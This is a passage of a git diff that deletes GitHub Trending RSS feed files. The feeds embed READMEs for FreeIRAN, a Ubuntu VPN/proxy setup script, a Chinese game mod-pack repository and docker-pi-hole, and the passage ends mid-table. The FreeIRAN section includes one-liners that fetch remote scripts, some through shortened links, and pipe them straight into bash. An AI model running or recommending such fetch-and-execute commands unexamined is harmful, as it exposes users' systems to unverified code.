<li>Setup Reverse TLS Tunnel 🔄</li> <li>Create non-root SSH User 👤</li> </ol> <p>⚠️ Manually set the parameters yourself when prompted during the setup.</p> <p>⚠️ در هنگام راه‌اندازی، وقتی درخواست برای تنظیم پارامترها نمایش داده می‌شود، پارامترها را به صورت دستی وارد کنید.</p> <h2>How to run 📦</h2> <p>It's highly recommended to run this script only on a fresh install of Ubuntu 22.04.</p> <pre><code>curl -O https://raw.githubusercontent.com/ErfanNamira/FreeIRAN/main/FreeIRAN.sh &amp;&amp; chmod +x FreeIRAN.sh &amp;&amp; sed -i -e 's/\r$//' FreeIRAN.sh &amp;&amp; sudo apt update &amp;&amp; sudo apt install -y dialog &amp;&amp; ./FreeIRAN.sh </code></pre> <h2>Access Panels 🚪</h2> <ol> <li>If you have installed Reality-EZPZ, you can access its TUI by running the following command:</li> </ol> <pre><code>bash &lt;(curl -sL https://bit.ly/realityez) -m </code></pre> <ol start="2"> <li>If you have installed X-UI Panels, you can access their command-line interface by using the following command:</li> </ol> <pre><code>x-ui </code></pre> <ol start="3"> <li>If you have installed Pi-hole, you can access its command-line interface by using the following command:</li> </ol> <pre><code>pihole </code></pre> <h2>💠 After setup has completed, don't forget to:</h2> <ol> <li>Add your desired adlists via Pi-hole web interface</li> </ol> <pre><code>https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts https://raw.githubusercontent.com/d3ward/toolz/master/src/d3host.txt https://big.oisd.nl/ https://raw.githubusercontent.com/hagezi/dns-blocklists/main/domains/pro.txt https://blocklistproject.github.io/Lists/abuse.txt https://blocklistproject.github.io/Lists/ads.txt https://blocklistproject.github.io/Lists/crypto.txt https://blocklistproject.github.io/Lists/drugs.txt https://blocklistproject.github.io/Lists/fraud.txt https://blocklistproject.github.io/Lists/gambling.txt https://blocklistproject.github.io/Lists/malware.txt https://blocklistproject.github.io/Lists/phishing.txt https://blocklistproject.github.io/Lists/ransomware.txt https://blocklistproject.github.io/Lists/redirect.txt https://blocklistproject.github.io/Lists/scam.txt https://raw.githubusercontent.com/MasterKia/PersianBlocker/main/PersianBlockerHosts.txt </code></pre> <ol start="2"> <li>Update Pi-hole Database</li> </ol> <pre><code>pihole -g </code></pre> <ol start="3"> <li>Modify Lighttpd</li> </ol> <p>⭕ If you have installed Pi-hole/reality-ezpz, then Lighttpd/docker is listening on port 80 by default. If you haven't changed the Lighttpd port, it's necessary to stop it before obtaining SSL certificates. Below, you can find commands to start, stop, restart, and modify the configuration of Lighttpd.</p> <p>⭕ اگر شما Pi-hole یا reality-ezpz را نصب کرده‌اید، در این صورت Lighttpd/docker به صورت پیش‌فرض از پورت 80 استفاده می‌کند. اگر پورت Lighttpd را تغییر نداده‌اید، قبل از دریافت گواهی SSL، لازم است آن را متوقف کنید. در زیر، شما می‌توانید دستوراتی برای شروع، توقف، بازآغاز و تغییر پیکربندی Lighttpd پیدا کنید.</p> <pre><code>sudo nano /etc/lighttpd/lighttpd.conf </code></pre> <pre><code>sudo systemctl start lighttpd.service sudo systemctl stop lighttpd.service sudo systemctl restart lighttpd.service </code></pre> <ol start="4"> <li>Obtain SSL Certificates</li> </ol> <pre><code>sudo certbot certonly --standalone --preferred-challenges http --agree-tos --email yourmail@gmail.com -d sub.domain.com </code></pre> <ol start="5"> <li>Change SSH Port</li> </ol> <pre><code>sudo nano /etc/ssh/sshd_config sudo systemctl reload sshd </code></pre> <ol start="6"> <li>Setup UFW</li> </ol> <pre><code>sudo nano /etc/default/ufw sudo ufw default deny incoming sudo ufw default allow outgoing sudo ufw allow SSHPORT/tcp sudo ufw limit SSHPORT/tcp sudo ufw allow PORT sudo ufw enable sudo ufw status verbose sudo systemctl enable ufw </code></pre> <ol start="7"> <li>Change WARP License Key</li> </ol> <pre><code>warp-cli set-license &lt;your-warp-plus-license-key&gt; </code></pre> <ol start="8"> <li>WARP Status</li> </ol> <pre><code>bash &lt;(curl -fsSL git.io/warp.sh) status </code></pre> <ol start="9"> <li>Change Server DNS to use Pi-hole</li> </ol> <pre><code>sudo nano /etc/resolv.conf nameserver 127.0.0.53 </code></pre> <p>If /resolv.conf managed by systemd-resolved, then you have to follow these steps:</p> <pre><code>cd /etc/netplan/ ls nano ab-cloud-init.yaml sudo netplan apply </code></pre> <p>You need to add the following lines to the 'ab-cloud-init.yaml' file:</p> <pre><code>nameservers: addresses: [127.0.0.53] </code></pre> <ol start="10"> <li>Restart your server with</li> </ol> <pre><code>sudo shutdown -r now </code></pre> <h2>Optional: Install qbittorrent-nox 🔮</h2> <pre><code>sudo add-apt-repository ppa:qbittorrent-team/qbittorrent-stable sudo apt update sudo apt install qbittorrent-nox sudo nano /etc/systemd/system/qbittorrent-nox.service qbittorrent-nox sudo adduser --system --group qbittorrent-nox sudo adduser root qbittorrent-nox sudo systemctl daemon-reload sudo systemctl enable qbittorrent-nox sudo systemctl start qbittorrent-nox sudo systemctl status qbittorrent-nox </code></pre> <h3>qbittorrent-nox.service configuration</h3> <pre><code>[Unit] Description=qBittorrent-nox After=network.target [Service] Type=forking ExecStart=/usr/bin/qbittorrent-nox -d --webui-port=8000 Restart=on-failure [Install] WantedBy=multi-user.target </code></pre> <h2>Optional: Install AriaFileServer 🪄</h2> <p>See HTTPS version at <a href="https://github.com/ErfanNamira/AriaFileServer">https://github.com/ErfanNamira/AriaFileServer</a></p> <h3>⭐ HTTP Version</h3> <p>✨ <a href="http://IP:Port">http://IP:Port</a></p> <pre><code>cd /home/qbittorrent-nox/Downloads wget https://raw.githubusercontent.com/ErfanNamira/AriaFileServer/main/AriaFileServerHTTP.py sudo apt install python3-pip pip3 install flask passlib python3 AriaFileServerHTTP.py </code></pre> <h2>Optional: Install simplefileserver 🪩</h2> <p>⚠️ simplefileserver DO NOT Support Authentication</p> <pre><code>cd /home/qbittorrent-nox/Downloads wget https://github.com/sssvip/simple-file-server/releases/download/v0.1.4/simple-file-server_0.1.4_linux_amd64.tar.gz tar -xzvf simple-file-server_0.1.4_linux_amd64.tar.gz chmod 777 simplefileserver sudo /home/qbittorrent-nox/Downloads/simplefileserver 80 </code></pre> <h2>Optional: WARP XrayConfig ✨</h2> <pre><code>{ "protocol": "socks", "settings": { "servers": [ { "address": "127.0.0.1", "port":40000 } ] }, "tag":"warp" }, </code></pre> <h2>Join Our Telegram Channel 📢</h2> <p><a href="https://t.me/iP_CF"><img src="https://img.shields.io/badge/Join%20Us%20on%20Telegram-Blue.svg?logo=telegram" alt="Telegram Channel"></a></p> <p>Join our Telegram channel for the latest updates, clean Cloudflare IPs, and free VPN configurations. Stay connected with our community!</p> <h2>Used Projects 💞</h2> <pre><code>https://github.com/pi-hole https://github.com/vaxilu/x-ui https://github.com/alireza0/x-ui https://github.com/MHSanaei/3x-ui https://github.com/Gozargah/Marzban https://github.com/FranzKafkaYu/x-ui https://github.com/aleskxyz/reality-ezpz https://github.com/hiddify/Hiddify-Server https://github.com/radkesvat/ReverseTlsTunnel https://github.com/deathline94/Juicity-Installer https://github.com/deathline94/tuic-v5-installer https://github.com/deathline94/Hysteria-Installer https://github.com/HirbodBehnam/MTProtoProxyInstaller https://github.com/sssvip/simple-file-server https://github.com/angristan/wireguard-install https://github.com/angristan/openvpn-install https://github.com/blocklistproject/Lists https://github.com/hwdsl2/setup-ipsec-vpn https://github.com/rahgozar94725/freedom https://github.com/seriyps/mtproto_proxy https://github.com/P3TERX/warp.sh </code></pre> <h2>Buy Me a Coffee ☕❤️</h2> <pre><code>Tron USDT (TRC20): TMrJHiTnE6wMqHarp2SxVEmJfKXBoTSnZ4 LiteCoin (LTC): ltc1qwhd8jpwumg5uywgv028h3lnsck8mjxhxnp4rja BTC: bc1q2tjjyg60hhsuyauha6uptgrwm32sarhmjlwvae </code></pre> \ No newline at end of file diff --git a/shell/weekly/index.xml b/shell/weekly/index.xml deleted file mode 100644 index 2f91c611e95..00000000000 --- a/shell/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Shell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:04Z - Weekly Trending of Shell in GitHub - - - sakarie9/DOL-CHS-MODS - 2023-09-24T02:01:04Z - tag:github.com,2023-09-24:/sakarie9/DOL-CHS-MODS - - <p>Degrees of Lewdity 整合</p><hr><h1>Degrees of Lewdity 整合包发布仓库</h1> <h2>简介</h2> <h3>放在前面...</h3> <ul> <li><img decoding="async" src="https://gitgud.io/uploads/-/system/user/avatar/9096/avatar.png" width="24"> <b>游戏作者</b> $\color{purple} {Vrelnir}$ <ul> <li><a href="https://vrelnir.blogspot.com">Vrelnir 的博客</a></li> <li><a href="https://degreesoflewdity.miraheze.org/wiki">英文游戏维基</a></li> <li><a href="https://degreesoflewditycn.miraheze.org/wiki">中文游戏维基</a></li> <li><a href="https://discord.gg/VznUtEh">官方 Discord</a></li> <li><a href="https://gitgud.io/Vrelnir/degrees-of-lewdity/-/tree/master">游戏源码仓库</a></li> </ul> </li> <li><a href="https://github.com/Eltirosto/Degrees-of-Lewdity-Chinese-Localization">原版汉化仓库</a></li> <li>美化 <ul> <li><a href="https://gitgud.io/BEEESSS/degrees-of-lewdity-graphics-mod">Degrees of Lewdity Graphics Mod</a></li> <li><a href="https://gitgud.io/Kaervek/kaervek-beeesss-community-sprite-compilation">BEEESSS Community Sprite Compilation</a></li> </ul> </li> <li>特写 <ul> <li><a href="https://arca.live/b/textgame/83875947">韩站特写</a></li> <li><a href="https://gitgud.io/GTXMEGADUDE/papa-paril-burger-joint">Papa Paril BEEESSS Burger Joint</a></li> </ul> </li> </ul> <h3>关于本仓库</h3> <p>本仓库是基于 <a href="https://github.com/Eltirosto/Degrees-of-Lewdity-Chinese-Localization">汉化仓库</a> 制作的自动化打包仓库,使用 Github Actions 提供多种 Mod 组合可供选择,跟随汉化仓库更新</p> <h3>下载</h3> <p><a href="https://github.com/sakarie9/DOL-CHS-MODS/releases/latest">Latest Release</a></p> <h3>在线</h3> <ul> <li> <p><a href="https://dol-chs-mods.vercel.app/">Vercel</a></p> </li> <li> <p><a href="https://dol-chs-mods.netlify.app">Netlify</a> 大陆访问更快</p> </li> </ul> <blockquote> <p>在线版仅使用 <code>美化+作弊+HP+BJ特写</code> 构建,需要其他版本请前往 <a href="https://github.com/sakarie9/DOL-CHS-MODS/releases">Release</a> 下载本地版</p> </blockquote> <h3>各版本说明</h3> <ul> <li> <p>美化 | <a href="https://gitgud.io/BEEESSS/degrees-of-lewdity-graphics-mod">Degrees of Lewdity Graphics Mod</a> &amp; <a href="https://gitgud.io/Kaervek/kaervek-beeesss-community-sprite-compilation">BEEESSS Community Sprite Compilation</a></p> <p><img src="https://raw.githubusercontent.com/sakarie9/DOL-CHS-MODS/main/assets/beautify.webp" alt="预览"></p> <p>经典美化</p> </li> <li> <p>作弊</p> <p>不需要在设置启动作弊即可使用作弊功能,可以解锁成就</p> </li> <li> <p>HP | @洛汐</p> <p>显示敌人当前 HP</p> </li> <li> <p>BJ特写 | <a href="https://gitgud.io/GTXMEGADUDE/papa-paril-burger-joint">Papa Paril BEEESSS Burger Joint</a></p> <p><img src="https://raw.githubusercontent.com/sakarie9/DOL-CHS-MODS/main/assets/beautify-avatarbj.webp" alt="预览"></p> <p>在立绘旁显示特写头像,推荐使用</p> <p>⚠️仍在早期开发阶段,未支持的头发会显示为光头⚠️</p> </li> <li> <p>KR特写 | <a href="https://arca.live/b/textgame/83875947">原帖</a></p> <p><img src="https://raw.githubusercontent.com/sakarie9/DOL-CHS-MODS/main/assets/beautify-avatarkr.webp" alt="预览"></p> <p>另一个特写版本</p> <p>⚠️仍在早期开发阶段,未支持的头发会显示为光头⚠️</p> </li> </ul> <h3>更新日志</h3> <details> <summary>点击展开</summary> <ul> <li> <p>0914</p> <p>移除世界扩展</p> <p>使用新格式HP显示</p> </li> <li> <p>0911</p> <p>修改特写命名</p> <blockquote> <p>特写1 -&gt; KR特写</p> </blockquote> <blockquote> <p>特写2 -&gt; BJ特写</p> </blockquote> </li> <li> <p>0908</p> <p>新增世界扩展作为底包</p> </li> <li> <p>v1.3.0-0904</p> <p>修正特写2未被应用的问题</p> </li> <li> <p>v1.3.0-0903</p> <p>添加特写1和特写2及HP显示</p> </li> <li> <p>v1.3.0-0902</p> <p>首次更新</p> </li> </ul> </details> <h3>整合包使用须知</h3> <ul> <li> <p>版本格式</p> <ul> <li>文件名格式 <ul> <li><code>dol-chs-{汉化版本号}-{MOD}-{日期}.{zip,apk}</code></li> </ul> </li> <li>tag 格式 <ul> <li><code>{原版版本号}-{汉化版本号}-{日期}</code></li> </ul> </li> </ul> </li> <li> <p>本整合包中 Android 端应用名称修改为 <code>DOL CHS MODS</code> 且与原版及汉化版共存,请使用导出存档功能转移存档</p> </li> <li> <p>根据汉化仓库中的 <a href="https://github.com/Eltirosto/Degrees-of-Lewdity-Chinese-Localization/raw/main/README.md#%E5%85%8D%E8%B4%A3%E5%A3%B0%E6%98%8E">免责声明</a></p> <blockquote> <p>汉化组不对任何修改后的汉化版本负责,包括但不限于修改游戏本体 html 文件,使用可能改变游戏内容的模组,使用他人发布的整合包等;汉化组也不会为任何第三方发布的模组版/修改版/魔改版/整合包等背书或担保。请在反馈问题前检查游戏是否已被修改,若被修改请勿提交,我们可能不会接受使用修改版本的内容反馈。</p> </blockquote> <p>在使用本整合包出现问题时在未判断问题是否由本整合包引入之前请勿向汉化仓库反馈</p> </li> </ul> - - - pi-hole/docker-pi-hole - 2023-09-24T02:01:04Z - tag:github.com,2023-09-24:/pi-hole/docker-pi-hole - - <p>Pi-hole in a docker container</p><hr><h1>Docker Pi-hole</h1> <p align="center"> <a href="https://pi-hole.net"><img src="https://pi-hole.github.io/graphics/Vortex/Vortex_with_text.png" width="150" height="255" alt="Pi-hole"></a><br> </p> <!-- Delete above HTML and insert markdown for dockerhub : ![Pi-hole](https://pi-hole.github.io/graphics/Vortex/Vortex_with_text.png) --> <h2>Upgrade Notes</h2> <ul> <li> <p><strong>Using Watchtower? See the <a href="https://raw.githubusercontent.com/pi-hole/docker-pi-hole/master/#note-on-watchtower">Note on Watchtower</a> at the bottom of this readme</strong></p> </li> <li> <p>As of <code>2023.01</code>, if you have any modifications for lighttpd via an <code>external.conf</code> file, this file now needs to be mapped into <code>/etc/lighttpd/conf-enabled/whateverfile.conf</code> instead</p> </li> <li> <p>Due to <a href="https://github.com/moby/moby/issues/40734">a known issue with Docker and libseccomp &lt;2.5</a>, you may run into issues running <code>2022.04</code> and later on host systems with an older version of <code>libseccomp2</code> (<a href="https://pkgs.org/download/libseccomp2">Such as Debian/Raspbian buster or Ubuntu 20.04</a>, and maybe <a href="https://pkgs.org/download/libseccomp">CentOS 7</a>).</p> <p>The first recommendation is to upgrade your host OS, which will include a more up to date (and fixed) version of <code>libseccomp</code>.</p> <p><em>If you absolutely cannot do this, some users <a href="https://github.com/pi-hole/docker-pi-hole/issues/1042#issuecomment-1086728157">have reported</a> success in updating <code>libseccomp2</code> via backports on debian, or similar via updates on Ubuntu. You can try this workaround at your own risk</em> (Note, you may also find that you need the latest <code>docker.io</code> (more details <a href="https://blog.samcater.com/fix-workaround-rpi4-docker-libseccomp2-docker-20/">here</a>)</p> </li> <li> <p>Some users <a href="https://github.com/pi-hole/docker-pi-hole/issues/963#issuecomment-1095602502">have reported issues</a> with using the <code>--privileged</code> flag on <code>2022.04</code> and above. TL;DR, don't use that mode, and be <a href="https://github.com/pi-hole/docker-pi-hole#note-on-capabilities">explicit with the permitted caps</a> (if needed) instead</p> </li> </ul> <h2>Quick Start</h2> <ol> <li>Copy docker-compose.yml.example to docker-compose.yml and update as needed. See example below: <a href="https://docs.docker.com/compose/install/">Docker-compose</a> example:</li> </ol> <pre><code class="language-yaml">version: "3" # More info at https://github.com/pi-hole/docker-pi-hole/ and https://docs.pi-hole.net/ services: pihole: container_name: pihole image: pihole/pihole:latest # For DHCP it is recommended to remove these ports and instead add: network_mode: "host" ports: - "53:53/tcp" - "53:53/udp" - "67:67/udp" # Only required if you are using Pi-hole as your DHCP server - "80:80/tcp" environment: TZ: 'America/Chicago' # WEBPASSWORD: 'set a secure password here or it will be random' # Volumes store your data between container upgrades volumes: - './etc-pihole:/etc/pihole' - './etc-dnsmasq.d:/etc/dnsmasq.d' # https://github.com/pi-hole/docker-pi-hole#note-on-capabilities cap_add: - NET_ADMIN # Required if you are using Pi-hole as your DHCP server, else not needed restart: unless-stopped </code></pre> <ol start="2"> <li>Run <code>docker compose up -d</code> to build and start pi-hole (Syntax may be <code>docker-compose</code> on older systems)</li> <li>Use the Pi-hole web UI to change the DNS settings <em>Interface listening behavior</em> to "Listen on all interfaces, permit all origins", if using Docker's default <code>bridge</code> network setting. (This can also be achieved by setting the environment variable <code>DNSMASQ_LISTENING</code> to <code>all</code>)</li> </ol> <p><a href="https://github.com/pi-hole/docker-pi-hole/raw/master/examples/docker_run.sh">Here is an equivalent docker run script</a>.</p> <h2>Overview</h2> <p>A <a href="https://www.docker.com/what-docker">Docker</a> project to make a lightweight x86 and ARM container with <a href="https://pi-hole.net">Pi-hole</a> functionality.</p> <ol> <li>Install docker for your <a href="https://www.docker.com/community-edition">x86-64 system</a> or <a href="https://www.raspberrypi.org/blog/docker-comes-to-raspberry-pi/">ARMv7 system</a> using those links. <a href="https://docs.docker.com/compose/install/">Docker-compose</a> is also recommended.</li> <li>Use the above quick start example, customize if desired.</li> <li>Enjoy!</li> </ol> <p><a href="https://github.com/pi-hole/docker-pi-hole/actions?query=workflow%3A%22Test+%26+Build%22"><img src="https://github.com/pi-hole/docker-pi-hole/workflows/Test%20&amp;%20Build/badge.svg?sanitize=true" alt="Build Status"></a> <a href="https://store.docker.com/community/images/pihole/pihole"><img src="https://img.shields.io/docker/stars/pihole/pihole.svg?maxAge=604800" alt="Docker Stars"></a> <a href="https://store.docker.com/community/images/pihole/pihole"><img src="https://img.shields.io/docker/pulls/pihole/pihole.svg?maxAge=604800" alt="Docker Pulls"></a></p> <h2>Running Pi-hole Docker</h2> <p>This container uses 2 popular ports, port 53 and port 80, so <strong>may conflict with existing applications ports</strong>. If you have no other services or docker containers using port 53/80 (if you do, keep reading below for a reverse proxy example), the minimum arguments required to run this container are in the script <a href="https://github.com/pi-hole/docker-pi-hole/raw/master/examples/docker_run.sh">docker_run.sh</a></p> <p>If you're using a Red Hat based distribution with an SELinux Enforcing policy add <code>:z</code> to line with volumes like so:</p> <pre><code> -v "$(pwd)/etc-pihole:/etc/pihole:z" \ -v "$(pwd)/etc-dnsmasq.d:/etc/dnsmasq.d:z" \ </code></pre> <p>Volumes are recommended for persisting data across container re-creations for updating images. The IP lookup variables may not work for everyone, please review their values and hard code IP and IPv6 if necessary.</p> <p>You can customize where to store persistent data by setting the <code>PIHOLE_BASE</code> environment variable when invoking <code>docker_run.sh</code> (e.g. <code>PIHOLE_BASE=/opt/pihole-storage ./docker_run.sh</code>). If <code>PIHOLE_BASE</code> is not set, files are stored in your current directory when you invoke the script.</p> <p><strong>Automatic Ad List Updates</strong> - since the 3.0+ release, <code>cron</code> is baked into the container and will grab the newest versions of your lists and flush your logs. <strong>Set your TZ</strong> environment variable to make sure the midnight log rotation syncs up with your timezone's midnight.</p> <h2>Running DHCP from Docker Pi-Hole</h2> <p>There are multiple different ways to run DHCP from within your Docker Pi-hole container but it is slightly more advanced and one size does not fit all. DHCP and Docker's multiple network modes are covered in detail on our docs site: <a href="https://docs.pi-hole.net/docker/DHCP/">Docker DHCP and Network Modes</a></p> <h2>Environment Variables</h2> <p>There are other environment variables if you want to customize various things inside the docker container:</p> <h3>Recommended Variables</h3> <table> <thead> <tr> <th>Variable</th> <th>Default</th> <th>Value</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>TZ</code></td> <td>UTC</td> <td><code>&lt;Timezone&gt;</code></td> <td>Set your <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">timezone</a> to make sure logs rotate at local midnight instead of at UTC midnight.</td> </tr> <tr> <td><code>WEBPASSWORD</code></td> <td>random</td> <td><code>&lt;Admin password&gt;</code></td> <td><a href="http://pi.hole/admin">http://pi.hole/admin</a> password. Run <code>docker logs pihole | grep random</code> to find your random pass.</td> </tr> <tr> <td><code>FTLCONF_LOCAL_IPV4</code></td> <td>unset</td> <td><code>&lt;Host's IP&gt;</code></td> <td>Set to your server's LAN IP, used by web block modes.</td> </tr> </tbody> </table> <h3>Optional Variables</h3> <table> <thead> <tr> <th>Variable</th> <th>Default</th> <th>Value</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>PIHOLE_DNS_</code></td> <td><code>8.8.8.8;8.8.4.4</code></td> <td>IPs delimited by <code>;</code></td> <td>Upstream DNS server(s) for Pi-hole to forward queries to, separated by a semicolon <br> (supports non-standard ports with <code>#[port number]</code>) e.g <code>127.0.0.1#5053;8.8.8.8;8.8.4.4</code> <br> (supports <a href="https://docs.docker.com/compose/networking/">Docker service names and links</a> instead of IPs) e.g <code>upstream0;upstream1</code> where <code>upstream0</code> and <code>upstream1</code> are the service names of or links to docker services <br> Note: The existence of this environment variable assumes this as the <em>sole</em> management of upstream DNS. Upstream DNS added via the web interface will be overwritten on container restart/recreation</td> </tr> <tr> <td><code>DNSSEC</code></td> <td><code>false</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Enable DNSSEC support</td> </tr> <tr> <td><code>DNS_BOGUS_PRIV</code></td> <td><code>true</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Never forward reverse lookups for private ranges</td> </tr> <tr> <td><code>DNS_FQDN_REQUIRED</code></td> <td><code>true</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Never forward non-FQDNs</td> </tr> <tr> <td><code>REV_SERVER</code></td> <td><code>false</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Enable DNS conditional forwarding for device name resolution</td> </tr> <tr> <td><code>REV_SERVER_DOMAIN</code></td> <td>unset</td> <td>Network Domain</td> <td>If conditional forwarding is enabled, set the domain of the local network router</td> </tr> <tr> <td><code>REV_SERVER_TARGET</code></td> <td>unset</td> <td>Router's IP</td> <td>If conditional forwarding is enabled, set the IP of the local network router</td> </tr> <tr> <td><code>REV_SERVER_CIDR</code></td> <td>unset</td> <td>Reverse DNS</td> <td>If conditional forwarding is enabled, set the reverse DNS zone (e.g. <code>192.168.0.0/24</code>)</td> </tr> <tr> <td><code>DHCP_ACTIVE</code></td> <td><code>false</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Enable DHCP server. Static DHCP leases can be configured with a custom <code>/etc/dnsmasq.d/04-pihole-static-dhcp.conf</code></td> </tr> <tr> <td><code>DHCP_START</code></td> <td>unset</td> <td><code>&lt;Start IP&gt;</code></td> <td>Start of the range of IP addresses to hand out by the DHCP server (mandatory if DHCP server is enabled).</td> </tr> <tr> <td><code>DHCP_END</code></td> <td>unset</td> <td><code>&lt;End IP&gt;</code></td> <td>End of the range of IP addresses to hand out by the DHCP server (mandatory if DHCP server is enabled).</td> </tr> <tr> <td><code>DHCP_ROUTER</code></td> <td>unset</td> <td><code>&lt;Router's IP&gt;</code></td> <td>Router (gateway) IP address sent by the DHCP server (mandatory if DHCP server is enabled).</td> </tr> <tr> <td><code>DHCP_LEASETIME</code></td> <td>24</td> <td><code>&lt;hours&gt;</code></td> <td>DHCP lease time in hours.</td> </tr> <tr> <td><code>PIHOLE_DOMAIN</code></td> <td><code>lan</code></td> <td><code>&lt;domain&gt;</code></td> <td>Domain name sent by the DHCP server.</td> </tr> <tr> <td><code>DHCP_IPv6</code></td> <td><code>false</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Enable DHCP server IPv6 support (SLAAC + RA).</td> </tr> <tr> <td><code>DHCP_rapid_commit</code></td> <td><code>false</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Enable DHCPv4 rapid commit (fast address assignment).</td> </tr> <tr> <td><code>VIRTUAL_HOST</code></td> <td><code>${HOSTNAME}</code></td> <td><code>&lt;Custom Hostname&gt;</code></td> <td>What your web server 'virtual host' is, accessing admin through this Hostname/IP allows you to make changes to the whitelist / blacklists in addition to the default '<a href="http://pi.hole/admin/">http://pi.hole/admin/</a>' address</td> </tr> <tr> <td><code>IPv6</code></td> <td><code>true</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>For unraid compatibility, strips out all the IPv6 configuration from DNS/Web services when false.</td> </tr> <tr> <td><code>TEMPERATUREUNIT</code></td> <td><code>c</code></td> <td><code>&lt;c|k|f&gt;</code></td> <td>Set preferred temperature unit to <code>c</code>: Celsius, <code>k</code>: Kelvin, or <code>f</code> Fahrenheit units.</td> </tr> <tr> <td><code>WEBUIBOXEDLAYOUT</code></td> <td><code>boxed</code></td> <td><code>&lt;boxed|traditional&gt;</code></td> <td>Use boxed layout (helpful when working on large screens)</td> </tr> <tr> <td><code>QUERY_LOGGING</code></td> <td><code>true</code></td> <td><code>&lt;"true"|"false"&gt;</code></td> <td>Enable query logging or not.</td> </tr> <tr> <td><code>WEBTHEME</code></td> <td><code>default-light</code></td> <td><code>&lt;"default-dark"|"default-darker"|"default-light"|"default-auto"|"high-contrast"|"high-contrast-dark"|"lcars"&gt;</code></td> <td>User interface theme to use.</td> </tr> <tr> <td><code>WEBPASSWORD_FILE</code></td> <td>unset</td> <td><code>&lt;Docker secret path&gt;</code></td> <td>Set an Admin password using <a href="https://docs.docker.com/engine/swarm/secrets/">Docker secrets</a>. If <code>WEBPASSWORD</code> is set, <code>WEBPASSWORD_FILE</code> is ignored. If <code>WEBPASSWORD</code> is empty, and <code>WEBPASSWORD_FILE</code> is set to a valid readable file path, then <code>WEBPASSWORD</code> will be set to the contents of <code>WEBPASSWORD_FILE</code>.</td> </tr> </tbody> </table> <h3>Advanced Variables</h3> <table> <thead> <tr> <th>Variable</th> <th>Default</th> <th>Value</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>INTERFACE</code></td> <td>unset</td> <td><code>&lt;NIC&gt;</code></td> <td>The default works fine with our basic example docker run commands. If you're trying to use DHCP with <code>--net host</code> mode then you may have to customize this or DNSMASQ_LISTENING.</td> </tr> <tr> <td><code>DNSMASQ_LISTENING</code></td> <td>unset</td> <td><code>&lt;local|all|single&gt;</code></td> <td><code>local</code> listens on all local subnets, <code>all</code> permits listening on internet origin subnets in addition to local, <code>single</code> listens only on the interface specified.</td> </tr> <tr> <td><code>WEB_PORT</code></td> <td>unset</td> <td><code>&lt;PORT&gt;</code></td> <td><strong>This will break the 'webpage blocked' functionality of Pi-hole</strong> however it may help advanced setups like those running synology or <code>--net=host</code> docker argument. This guide explains how to restore webpage blocked functionality using a linux router DNAT rule: <a href="https://discourse.pi-hole.net/t/alternative-synology-installation-method/5454?u=diginc">Alternative Synology installation method</a></td> </tr> <tr> <td><code>WEB_BIND_ADDR</code></td> <td>unset</td> <td><code>&lt;IP&gt;</code></td> <td>Lighttpd's bind address. If left unset lighttpd will bind to every interface, except when running in host networking mode where it will use <code>FTLCONF_LOCAL_IPV4</code> instead.</td> </tr> <tr> <td><code>SKIPGRAVITYONBOOT</code></td> <td>unset</td> <td><code>&lt;unset|1&gt;</code></td> <td>Use this option to skip updating the Gravity Database when booting up the container. By default this environment variable is not set so the Gravity Database will be updated when the container starts up. Setting this environment variable to 1 (or anything) will cause the Gravity Database to not be updated when container starts up.</td> </tr> <tr> <td><code>CORS_HOSTS</code></td> <td>unset</td> <td><code>&lt;FQDNs delimited by ,&gt;</code></td> <td>List of domains/subdomains on which CORS is allowed. Wildcards are not supported. Eg: <code>CORS_HOSTS: domain.com,home.domain.com,www.domain.com</code>.</td> </tr> <tr> <td><code>CUSTOM_CACHE_SIZE</code></td> <td><code>10000</code></td> <td>Number</td> <td>Set the cache size for dnsmasq. Useful for increasing the default cache size or to set it to 0. Note that when <code>DNSSEC</code> is "true", then this setting is ignored.</td> </tr> <tr> <td><code>FTL_CMD</code></td> <td><code>no-daemon</code></td> <td><code>no-daemon -- &lt;dnsmasq option&gt;</code></td> <td>Customize the options with which dnsmasq gets started. e.g. <code>no-daemon -- --dns-forward-max 300</code> to increase max. number of concurrent dns queries on high load setups.</td> </tr> <tr> <td><code>FTLCONF_[SETTING]</code></td> <td>unset</td> <td>As per documentation</td> <td>Customize pihole-FTL.conf with settings described in the <a href="https://docs.pi-hole.net/ftldns/configfile/">FTLDNS Configuration page</a>. For example, to customize LOCAL_IPV4, ensure you have the <code>FTLCONF_LOCAL_IPV4</code> environment variable set.</td> </tr> </tbody> </table> <h3>Experimental Variables</h3> <table> <thead> <tr> <th>Variable</th> <th>Default</th> <th>Value</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>DNSMASQ_USER</code></td> <td>unset</td> <td><code>&lt;pihole|root&gt;</code></td> <td>Allows changing the user that FTLDNS runs as. Default: <code>pihole</code>, some systems such as Synology NAS may require you to change this to <code>root</code> (See <a href="https://github.com/pi-hole/docker-pi-hole/issues/963">#963</a>)</td> </tr> <tr> <td><code>PIHOLE_UID</code></td> <td><code>999</code></td> <td>Number</td> <td>Overrides image's default pihole user id to match a host user id<br><strong>IMPORTANT</strong>: id must not already be in use inside the container!</td> </tr> <tr> <td><code>PIHOLE_GID</code></td> <td><code>999</code></td> <td>Number</td> <td>Overrides image's default pihole group id to match a host group id<br><strong>IMPORTANT</strong>: id must not already be in use inside the container!</td> </tr> <tr> <td><code>WEB_UID</code></td> <td><code>33</code></td> <td>Number</td> <td>Overrides image's default www-data user id to match a host user id<br><strong>IMPORTANT</strong>: id must not already be in use inside the container! (Make sure it is different to <code>PIHOLE_UID</code> if you are using that, also)</td> </tr> <tr> <td><code>WEB_GID</code></td> <td><code>33</code></td> <td>Number</td> <td>Overrides image's default www-data group id to match a host group id<br><strong>IMPORTANT</strong>: id must not 